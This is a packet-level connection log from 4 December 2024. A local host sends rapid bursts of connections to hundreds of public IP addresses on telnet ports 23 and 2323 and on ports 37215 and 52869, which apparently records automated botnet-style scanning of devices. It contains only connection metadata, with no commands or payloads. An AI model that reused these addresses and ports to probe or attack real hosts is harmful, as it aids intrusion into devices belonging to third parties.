Dec 4, 2024 20:34:30.085906982 CET	59936	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:30.087048054 CET	37215	37026	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:30.087196112 CET	52869	60019	156.21.211.145	192.168.2.14
Dec 4, 2024 20:34:30.087239981 CET	60019	52869	192.168.2.14	156.21.211.145
Dec 4, 2024 20:34:30.087280989 CET	37215	37026	156.239.174.27	192.168.2.14
Dec 4, 2024 20:34:30.087493896 CET	52869	52720	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:30.087533951 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:30.087615967 CET	52869	51350	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:30.087661028 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:30.089565992 CET	52869	51350	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:30.089576006 CET	52869	51350	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:30.089993954 CET	52869	52720	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:30.090152979 CET	52869	52720	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:30.094563007 CET	37215	40570	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:30.094615936 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:30.094635963 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:30.098767996 CET	37215	33408	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:30.112375975 CET	23	57274	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.112675905 CET	23	57634	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.112757921 CET	57634	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.113024950 CET	23	55608	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.113269091 CET	23	55974	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.113317013 CET	55974	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.113820076 CET	2323	39186	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:30.126332998 CET	23	35074	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.126404047 CET	35074	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.151226044 CET	23	35158	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.151644945 CET	23	35460	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.151741982 CET	35460	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.152265072 CET	23	55252	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.152286053 CET	37215	35028	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.152343988 CET	35028	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.152441978 CET	35028	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.152441978 CET	35028	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.152710915 CET	23	55556	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.152755022 CET	55556	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.152851105 CET	35088	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.152859926 CET	37215	58916	156.252.133.48	192.168.2.14
Dec 4, 2024 20:34:30.152900934 CET	58916	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:30.153369904 CET	2323	50412	171.161.255.216	192.168.2.14
Dec 4, 2024 20:34:30.154355049 CET	23	57392	182.216.226.152	192.168.2.14
Dec 4, 2024 20:34:30.155441046 CET	23	37264	44.177.131.156	192.168.2.14
Dec 4, 2024 20:34:30.155829906 CET	23	52922	65.210.239.74	192.168.2.14
Dec 4, 2024 20:34:30.156284094 CET	23	35384	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:30.156891108 CET	23	44412	160.113.182.46	192.168.2.14
Dec 4, 2024 20:34:30.157532930 CET	23	39192	161.193.252.223	192.168.2.14
Dec 4, 2024 20:34:30.158118010 CET	23	34110	164.152.144.218	192.168.2.14
Dec 4, 2024 20:34:30.158809900 CET	23	49538	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:30.159477949 CET	23	48090	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:30.160278082 CET	23	38644	70.38.173.168	192.168.2.14
Dec 4, 2024 20:34:30.160856009 CET	23	34274	161.204.36.67	192.168.2.14
Dec 4, 2024 20:34:30.161298037 CET	23	44246	103.222.238.109	192.168.2.14
Dec 4, 2024 20:34:30.162141085 CET	2323	41868	139.203.168.53	192.168.2.14
Dec 4, 2024 20:34:30.162568092 CET	23	37646	142.8.161.214	192.168.2.14
Dec 4, 2024 20:34:30.163150072 CET	23	55888	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.163518906 CET	23	56246	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.163572073 CET	56246	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.163746119 CET	23	59694	36.173.135.124	192.168.2.14
Dec 4, 2024 20:34:30.164524078 CET	23	37804	175.54.171.246	192.168.2.14
Dec 4, 2024 20:34:30.165076017 CET	23	34556	84.172.76.218	192.168.2.14
Dec 4, 2024 20:34:30.165992022 CET	23	38900	129.4.154.94	192.168.2.14
Dec 4, 2024 20:34:30.166601896 CET	23	33344	99.251.34.246	192.168.2.14
Dec 4, 2024 20:34:30.167597055 CET	23	58338	184.99.73.225	192.168.2.14
Dec 4, 2024 20:34:30.168606043 CET	23	48736	213.194.145.218	192.168.2.14
Dec 4, 2024 20:34:30.169280052 CET	23	60306	63.93.247.17	192.168.2.14
Dec 4, 2024 20:34:30.169732094 CET	23	58364	82.54.118.213	192.168.2.14
Dec 4, 2024 20:34:30.170414925 CET	23	60244	195.88.180.72	192.168.2.14
Dec 4, 2024 20:34:30.176578045 CET	37215	57472	156.158.192.228	192.168.2.14
Dec 4, 2024 20:34:30.176635981 CET	57472	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:30.176703930 CET	37215	32788	41.122.116.38	192.168.2.14
Dec 4, 2024 20:34:30.177011967 CET	37215	34278	156.191.184.73	192.168.2.14
Dec 4, 2024 20:34:30.177062035 CET	34278	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:30.206559896 CET	23	33688	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:30.206768990 CET	33688	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:30.207371950 CET	33774	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:30.207500935 CET	23	59936	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:30.207806110 CET	59936	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:30.208072901 CET	60022	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:30.209151030 CET	52869	52720	41.217.152.38	192.168.2.14
Dec 4, 2024 20:34:30.209198952 CET	52869	51350	156.59.66.240	192.168.2.14
Dec 4, 2024 20:34:30.215905905 CET	37215	40570	41.43.4.149	192.168.2.14
Dec 4, 2024 20:34:30.215955019 CET	40570	37215	192.168.2.14	41.43.4.149
Dec 4, 2024 20:34:30.220483065 CET	37215	47200	156.246.142.144	192.168.2.14
Dec 4, 2024 20:34:30.220539093 CET	47200	37215	192.168.2.14	156.246.142.144
Dec 4, 2024 20:34:30.233649969 CET	23	57634	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.233740091 CET	57634	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.234081030 CET	57708	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.234281063 CET	23	55974	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.234471083 CET	55974	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.234759092 CET	56048	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.247659922 CET	23	35074	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.247720957 CET	35074	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.248095989 CET	35260	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.271709919 CET	23	35460	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.271812916 CET	35460	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.272181034 CET	35534	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.272197962 CET	37215	35028	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.272207022 CET	37215	35028	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.272320986 CET	37215	35028	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.272661924 CET	37215	35088	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.272670984 CET	23	55556	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.272706985 CET	35088	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.272743940 CET	55556	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.272763968 CET	35088	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.273062944 CET	55628	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.283529043 CET	23	56246	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.283627987 CET	56246	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.283979893 CET	56284	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.326544046 CET	23	33688	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:30.327167034 CET	23	33774	46.85.156.92	192.168.2.14
Dec 4, 2024 20:34:30.327255964 CET	33774	23	192.168.2.14	46.85.156.92
Dec 4, 2024 20:34:30.327630043 CET	23	59936	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:30.327790976 CET	23	60022	101.104.52.186	192.168.2.14
Dec 4, 2024 20:34:30.327838898 CET	60022	23	192.168.2.14	101.104.52.186
Dec 4, 2024 20:34:30.353668928 CET	23	57634	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.353877068 CET	23	57708	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.354089022 CET	57708	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.354361057 CET	23	55974	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.354624987 CET	23	56048	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.354674101 CET	56048	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.368068933 CET	23	35074	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.368123055 CET	23	35260	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.368186951 CET	35260	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.392075062 CET	23	35460	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.392088890 CET	23	35534	40.179.182.146	192.168.2.14
Dec 4, 2024 20:34:30.392167091 CET	35534	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:30.393174887 CET	23	55556	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.393196106 CET	23	55628	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.393243074 CET	55628	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.393522024 CET	37215	35088	156.24.242.132	192.168.2.14
Dec 4, 2024 20:34:30.393580914 CET	35088	37215	192.168.2.14	156.24.242.132
Dec 4, 2024 20:34:30.403356075 CET	23	56246	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.403676033 CET	23	56284	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.403732061 CET	56284	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.474482059 CET	23	57708	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.474687099 CET	57708	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.475191116 CET	23	56048	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.475229025 CET	57720	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.475692034 CET	56048	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.476021051 CET	56060	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.489269972 CET	23	35260	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.489341021 CET	35260	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.489727020 CET	35272	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.513489008 CET	23	55628	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.513598919 CET	55628	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.513928890 CET	55638	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.524329901 CET	23	56284	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.524386883 CET	56284	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.524719000 CET	56294	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.595647097 CET	23	57708	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.596072912 CET	23	57720	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:30.596292973 CET	57720	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:30.596652031 CET	23	56048	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.596805096 CET	23	56060	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:30.596867085 CET	56060	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:30.611430883 CET	23	35260	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.611442089 CET	23	35272	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.611488104 CET	35272	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.634211063 CET	23	55628	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.634463072 CET	23	55638	216.176.136.67	192.168.2.14
Dec 4, 2024 20:34:30.634515047 CET	55638	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:30.644859076 CET	23	56284	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.645351887 CET	23	56294	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.645394087 CET	56294	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.731715918 CET	23	35272	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.731872082 CET	35272	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.732381105 CET	35278	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.768505096 CET	23	56294	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.768614054 CET	56294	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.769085884 CET	56298	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.852530003 CET	23	35272	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.852936983 CET	23	35278	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:30.853050947 CET	35278	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:30.853055954 CET	60787	2323	192.168.2.14	70.93.228.51
Dec 4, 2024 20:34:30.853055954 CET	60787	23	192.168.2.14	100.54.161.123
Dec 4, 2024 20:34:30.853069067 CET	60787	23	192.168.2.14	193.75.93.100
Dec 4, 2024 20:34:30.853071928 CET	60787	23	192.168.2.14	98.178.198.239
Dec 4, 2024 20:34:30.853071928 CET	60787	23	192.168.2.14	61.102.250.35
Dec 4, 2024 20:34:30.853079081 CET	60787	23	192.168.2.14	32.191.24.134
Dec 4, 2024 20:34:30.853082895 CET	60787	23	192.168.2.14	216.153.242.34
Dec 4, 2024 20:34:30.853084087 CET	60787	23	192.168.2.14	162.223.10.158
Dec 4, 2024 20:34:30.853089094 CET	60787	23	192.168.2.14	150.19.192.1
Dec 4, 2024 20:34:30.853089094 CET	60787	23	192.168.2.14	19.124.61.137
Dec 4, 2024 20:34:30.853089094 CET	60787	23	192.168.2.14	212.110.116.8
Dec 4, 2024 20:34:30.853089094 CET	60787	23	192.168.2.14	89.60.114.60
Dec 4, 2024 20:34:30.853087902 CET	60787	23	192.168.2.14	93.42.50.64
Dec 4, 2024 20:34:30.853089094 CET	60787	23	192.168.2.14	86.6.243.217
Dec 4, 2024 20:34:30.853097916 CET	60787	23	192.168.2.14	186.249.94.217
Dec 4, 2024 20:34:30.853106976 CET	60787	2323	192.168.2.14	87.228.142.186
Dec 4, 2024 20:34:30.853117943 CET	60787	23	192.168.2.14	182.196.234.43
Dec 4, 2024 20:34:30.853121042 CET	60787	23	192.168.2.14	158.192.38.79
Dec 4, 2024 20:34:30.853127003 CET	60787	23	192.168.2.14	59.192.208.132
Dec 4, 2024 20:34:30.853127956 CET	60787	23	192.168.2.14	99.215.145.130
Dec 4, 2024 20:34:30.853127956 CET	60787	2323	192.168.2.14	196.197.54.162
Dec 4, 2024 20:34:30.853138924 CET	60787	23	192.168.2.14	192.8.69.153
Dec 4, 2024 20:34:30.853147030 CET	60787	23	192.168.2.14	72.148.30.113
Dec 4, 2024 20:34:30.853152037 CET	60787	23	192.168.2.14	96.197.91.38
Dec 4, 2024 20:34:30.853163004 CET	60787	23	192.168.2.14	170.204.245.220
Dec 4, 2024 20:34:30.853164911 CET	60787	23	192.168.2.14	178.233.70.122
Dec 4, 2024 20:34:30.853164911 CET	60787	23	192.168.2.14	113.201.57.190
Dec 4, 2024 20:34:30.853172064 CET	60787	23	192.168.2.14	195.53.35.3
Dec 4, 2024 20:34:30.853183031 CET	60787	23	192.168.2.14	4.205.55.217
Dec 4, 2024 20:34:30.853185892 CET	60787	23	192.168.2.14	156.212.238.31
Dec 4, 2024 20:34:30.853185892 CET	60787	23	192.168.2.14	86.5.14.97
Dec 4, 2024 20:34:30.853193045 CET	60787	2323	192.168.2.14	47.233.5.126
Dec 4, 2024 20:34:30.853199959 CET	60787	23	192.168.2.14	59.177.95.100
Dec 4, 2024 20:34:30.853203058 CET	60787	23	192.168.2.14	12.237.75.22
Dec 4, 2024 20:34:30.853210926 CET	60787	23	192.168.2.14	150.0.77.11
Dec 4, 2024 20:34:30.853212118 CET	60787	23	192.168.2.14	183.71.49.169
Dec 4, 2024 20:34:30.853213072 CET	60787	23	192.168.2.14	115.204.44.239
Dec 4, 2024 20:34:30.853213072 CET	60787	23	192.168.2.14	213.17.108.243
Dec 4, 2024 20:34:30.853216887 CET	60787	23	192.168.2.14	59.126.127.8
Dec 4, 2024 20:34:30.853216887 CET	60787	23	192.168.2.14	208.149.243.209
Dec 4, 2024 20:34:30.853223085 CET	60787	2323	192.168.2.14	47.17.98.205
Dec 4, 2024 20:34:30.853224039 CET	60787	23	192.168.2.14	77.76.99.215
Dec 4, 2024 20:34:30.853238106 CET	60787	23	192.168.2.14	108.203.200.84
Dec 4, 2024 20:34:30.853238106 CET	60787	23	192.168.2.14	189.4.203.155
Dec 4, 2024 20:34:30.853245974 CET	60787	23	192.168.2.14	187.193.144.131
Dec 4, 2024 20:34:30.853250027 CET	60787	23	192.168.2.14	61.199.227.63
Dec 4, 2024 20:34:30.853251934 CET	60787	23	192.168.2.14	72.21.109.24
Dec 4, 2024 20:34:30.853261948 CET	60787	23	192.168.2.14	73.5.174.177
Dec 4, 2024 20:34:30.853267908 CET	60787	23	192.168.2.14	130.226.242.145
Dec 4, 2024 20:34:30.853270054 CET	60787	23	192.168.2.14	58.252.218.157
Dec 4, 2024 20:34:30.853274107 CET	60787	2323	192.168.2.14	89.31.99.164
Dec 4, 2024 20:34:30.853283882 CET	60787	23	192.168.2.14	13.32.221.75
Dec 4, 2024 20:34:30.853288889 CET	60787	23	192.168.2.14	117.214.58.77
Dec 4, 2024 20:34:30.853300095 CET	60787	23	192.168.2.14	87.29.48.143
Dec 4, 2024 20:34:30.853300095 CET	60787	23	192.168.2.14	102.132.6.25
Dec 4, 2024 20:34:30.853324890 CET	60787	23	192.168.2.14	73.241.219.72
Dec 4, 2024 20:34:30.853326082 CET	60787	23	192.168.2.14	77.122.34.52
Dec 4, 2024 20:34:30.853327990 CET	60787	23	192.168.2.14	151.5.132.75
Dec 4, 2024 20:34:30.853332996 CET	60787	23	192.168.2.14	31.237.66.239
Dec 4, 2024 20:34:30.853333950 CET	60787	23	192.168.2.14	208.136.203.134
Dec 4, 2024 20:34:30.853332996 CET	60787	23	192.168.2.14	84.134.160.71
Dec 4, 2024 20:34:30.853333950 CET	60787	2323	192.168.2.14	166.51.47.59
Dec 4, 2024 20:34:30.853341103 CET	60787	23	192.168.2.14	104.241.209.96
Dec 4, 2024 20:34:30.853341103 CET	60787	23	192.168.2.14	118.35.67.12
Dec 4, 2024 20:34:30.853343964 CET	60787	23	192.168.2.14	31.232.221.116
Dec 4, 2024 20:34:30.853343964 CET	60787	23	192.168.2.14	45.90.126.136
Dec 4, 2024 20:34:30.853343964 CET	60787	23	192.168.2.14	131.251.227.27
Dec 4, 2024 20:34:30.853349924 CET	60787	23	192.168.2.14	88.100.198.214
Dec 4, 2024 20:34:30.853354931 CET	60787	23	192.168.2.14	69.221.192.91
Dec 4, 2024 20:34:30.853357077 CET	60787	23	192.168.2.14	101.196.254.53
Dec 4, 2024 20:34:30.853364944 CET	60787	23	192.168.2.14	65.76.93.93
Dec 4, 2024 20:34:30.853367090 CET	60787	2323	192.168.2.14	66.116.209.201
Dec 4, 2024 20:34:30.853368044 CET	60787	23	192.168.2.14	14.80.140.111
Dec 4, 2024 20:34:30.853370905 CET	60787	23	192.168.2.14	96.25.86.254
Dec 4, 2024 20:34:30.853372097 CET	60787	23	192.168.2.14	77.250.192.52
Dec 4, 2024 20:34:30.853374958 CET	60787	23	192.168.2.14	171.112.174.228
Dec 4, 2024 20:34:30.853377104 CET	60787	23	192.168.2.14	190.167.78.97
Dec 4, 2024 20:34:30.853379011 CET	60787	23	192.168.2.14	73.242.80.22
Dec 4, 2024 20:34:30.853384972 CET	60787	23	192.168.2.14	223.228.93.196
Dec 4, 2024 20:34:30.853388071 CET	60787	2323	192.168.2.14	62.220.73.40
Dec 4, 2024 20:34:30.853389025 CET	60787	23	192.168.2.14	67.2.244.5
Dec 4, 2024 20:34:30.853404999 CET	60787	23	192.168.2.14	107.182.117.156
Dec 4, 2024 20:34:30.853405952 CET	60787	23	192.168.2.14	36.158.26.232
Dec 4, 2024 20:34:30.853405952 CET	60787	23	192.168.2.14	176.13.196.61
Dec 4, 2024 20:34:30.853405952 CET	60787	23	192.168.2.14	42.25.139.224
Dec 4, 2024 20:34:30.853410959 CET	60787	23	192.168.2.14	77.33.95.75
Dec 4, 2024 20:34:30.853419065 CET	60787	2323	192.168.2.14	220.110.236.60
Dec 4, 2024 20:34:30.853419065 CET	60787	23	192.168.2.14	184.111.165.117
Dec 4, 2024 20:34:30.853420973 CET	60787	23	192.168.2.14	45.85.113.195
Dec 4, 2024 20:34:30.853420973 CET	60787	23	192.168.2.14	37.0.175.70
Dec 4, 2024 20:34:30.853425026 CET	60787	23	192.168.2.14	201.139.169.207
Dec 4, 2024 20:34:30.853425026 CET	60787	23	192.168.2.14	96.65.237.245
Dec 4, 2024 20:34:30.853425980 CET	60787	23	192.168.2.14	39.245.219.201
Dec 4, 2024 20:34:30.853425980 CET	60787	23	192.168.2.14	58.158.19.92
Dec 4, 2024 20:34:30.853432894 CET	60787	23	192.168.2.14	175.206.1.162
Dec 4, 2024 20:34:30.853435040 CET	60787	23	192.168.2.14	208.244.134.119
Dec 4, 2024 20:34:30.853435040 CET	60787	23	192.168.2.14	167.205.86.211
Dec 4, 2024 20:34:30.853441954 CET	60787	23	192.168.2.14	18.220.163.9
Dec 4, 2024 20:34:30.853446007 CET	60787	23	192.168.2.14	223.35.103.19
Dec 4, 2024 20:34:30.853447914 CET	60787	2323	192.168.2.14	65.28.154.19
Dec 4, 2024 20:34:30.853449106 CET	60787	23	192.168.2.14	185.100.90.175
Dec 4, 2024 20:34:30.853451967 CET	60787	23	192.168.2.14	104.153.147.176
Dec 4, 2024 20:34:30.853456020 CET	60787	23	192.168.2.14	150.160.94.7
Dec 4, 2024 20:34:30.853456974 CET	60787	23	192.168.2.14	63.71.17.210
Dec 4, 2024 20:34:30.853466988 CET	60787	23	192.168.2.14	117.9.163.202
Dec 4, 2024 20:34:30.853468895 CET	60787	23	192.168.2.14	2.18.226.32
Dec 4, 2024 20:34:30.853476048 CET	60787	23	192.168.2.14	74.60.86.44
Dec 4, 2024 20:34:30.853492022 CET	60787	2323	192.168.2.14	126.245.77.67
Dec 4, 2024 20:34:30.853492975 CET	60787	23	192.168.2.14	58.244.168.30
Dec 4, 2024 20:34:30.853493929 CET	60787	23	192.168.2.14	219.3.151.179
Dec 4, 2024 20:34:30.853497028 CET	60787	23	192.168.2.14	200.125.88.144
Dec 4, 2024 20:34:30.853497028 CET	60787	23	192.168.2.14	181.245.15.157
Dec 4, 2024 20:34:30.853507042 CET	60787	23	192.168.2.14	189.44.44.120
Dec 4, 2024 20:34:30.853507042 CET	60787	23	192.168.2.14	133.248.147.249
Dec 4, 2024 20:34:30.853512049 CET	60787	23	192.168.2.14	27.29.243.205
Dec 4, 2024 20:34:30.853512049 CET	60787	2323	192.168.2.14	90.4.20.100
Dec 4, 2024 20:34:30.853512049 CET	60787	23	192.168.2.14	8.60.60.155
Dec 4, 2024 20:34:30.853513956 CET	60787	23	192.168.2.14	141.64.163.33
Dec 4, 2024 20:34:30.853514910 CET	60787	23	192.168.2.14	105.224.237.174
Dec 4, 2024 20:34:30.853514910 CET	60787	23	192.168.2.14	89.28.60.64
Dec 4, 2024 20:34:30.853527069 CET	60787	23	192.168.2.14	183.159.5.60
Dec 4, 2024 20:34:30.853527069 CET	60787	23	192.168.2.14	146.175.27.111
Dec 4, 2024 20:34:30.853528023 CET	60787	23	192.168.2.14	168.201.124.222
Dec 4, 2024 20:34:30.853528023 CET	60787	2323	192.168.2.14	102.168.235.231
Dec 4, 2024 20:34:30.853532076 CET	60787	23	192.168.2.14	83.199.10.119
Dec 4, 2024 20:34:30.853532076 CET	60787	23	192.168.2.14	222.125.80.38
Dec 4, 2024 20:34:30.853532076 CET	60787	23	192.168.2.14	154.145.229.163
Dec 4, 2024 20:34:30.853532076 CET	60787	23	192.168.2.14	40.121.74.240
Dec 4, 2024 20:34:30.853538036 CET	60787	23	192.168.2.14	152.92.110.26
Dec 4, 2024 20:34:30.853538990 CET	60787	23	192.168.2.14	206.106.12.198
Dec 4, 2024 20:34:30.853538990 CET	60787	2323	192.168.2.14	158.216.156.99
Dec 4, 2024 20:34:30.853553057 CET	60787	23	192.168.2.14	96.123.85.137
Dec 4, 2024 20:34:30.853554964 CET	60787	23	192.168.2.14	95.234.144.209
Dec 4, 2024 20:34:30.853554964 CET	60787	23	192.168.2.14	53.90.84.23
Dec 4, 2024 20:34:30.853555918 CET	60787	23	192.168.2.14	19.189.30.77
Dec 4, 2024 20:34:30.853557110 CET	60787	23	192.168.2.14	40.30.2.201
Dec 4, 2024 20:34:30.853559017 CET	60787	23	192.168.2.14	45.117.15.181
Dec 4, 2024 20:34:30.853554964 CET	60787	23	192.168.2.14	164.129.132.29
Dec 4, 2024 20:34:30.853559017 CET	60787	23	192.168.2.14	204.127.65.66
Dec 4, 2024 20:34:30.853564024 CET	60787	23	192.168.2.14	53.185.125.152
Dec 4, 2024 20:34:30.853568077 CET	60787	23	192.168.2.14	204.174.71.1
Dec 4, 2024 20:34:30.853555918 CET	60787	23	192.168.2.14	142.181.134.90
Dec 4, 2024 20:34:30.853555918 CET	60787	23	192.168.2.14	204.24.210.40
Dec 4, 2024 20:34:30.853555918 CET	60787	23	192.168.2.14	143.44.250.165
Dec 4, 2024 20:34:30.853555918 CET	60787	23	192.168.2.14	174.96.86.44
Dec 4, 2024 20:34:30.853574038 CET	60787	23	192.168.2.14	85.61.16.134
Dec 4, 2024 20:34:30.853574991 CET	60787	23	192.168.2.14	112.4.174.150
Dec 4, 2024 20:34:30.853579044 CET	60787	23	192.168.2.14	151.86.37.70
Dec 4, 2024 20:34:30.853574991 CET	60787	23	192.168.2.14	149.220.148.62
Dec 4, 2024 20:34:30.853584051 CET	60787	23	192.168.2.14	149.8.69.137
Dec 4, 2024 20:34:30.853579998 CET	60787	23	192.168.2.14	153.72.58.194
Dec 4, 2024 20:34:30.853580952 CET	60787	23	192.168.2.14	218.183.212.234
Dec 4, 2024 20:34:30.853585958 CET	60787	2323	192.168.2.14	86.121.240.241
Dec 4, 2024 20:34:30.853585958 CET	60787	23	192.168.2.14	172.191.107.218
Dec 4, 2024 20:34:30.853588104 CET	60787	23	192.168.2.14	158.63.42.176
Dec 4, 2024 20:34:30.853588104 CET	60787	23	192.168.2.14	193.88.230.117
Dec 4, 2024 20:34:30.853595018 CET	60787	23	192.168.2.14	23.36.83.209
Dec 4, 2024 20:34:30.853596926 CET	60787	23	192.168.2.14	60.19.183.34
Dec 4, 2024 20:34:30.853596926 CET	60787	23	192.168.2.14	42.17.162.132
Dec 4, 2024 20:34:30.853600025 CET	60787	23	192.168.2.14	207.234.62.34
Dec 4, 2024 20:34:30.892673969 CET	23	56294	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.892991066 CET	23	56298	67.215.54.8	192.168.2.14
Dec 4, 2024 20:34:30.893042088 CET	56298	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:30.934585094 CET	35134	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:30.934586048 CET	47004	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:30.934586048 CET	48904	37215	192.168.2.14	41.3.121.77
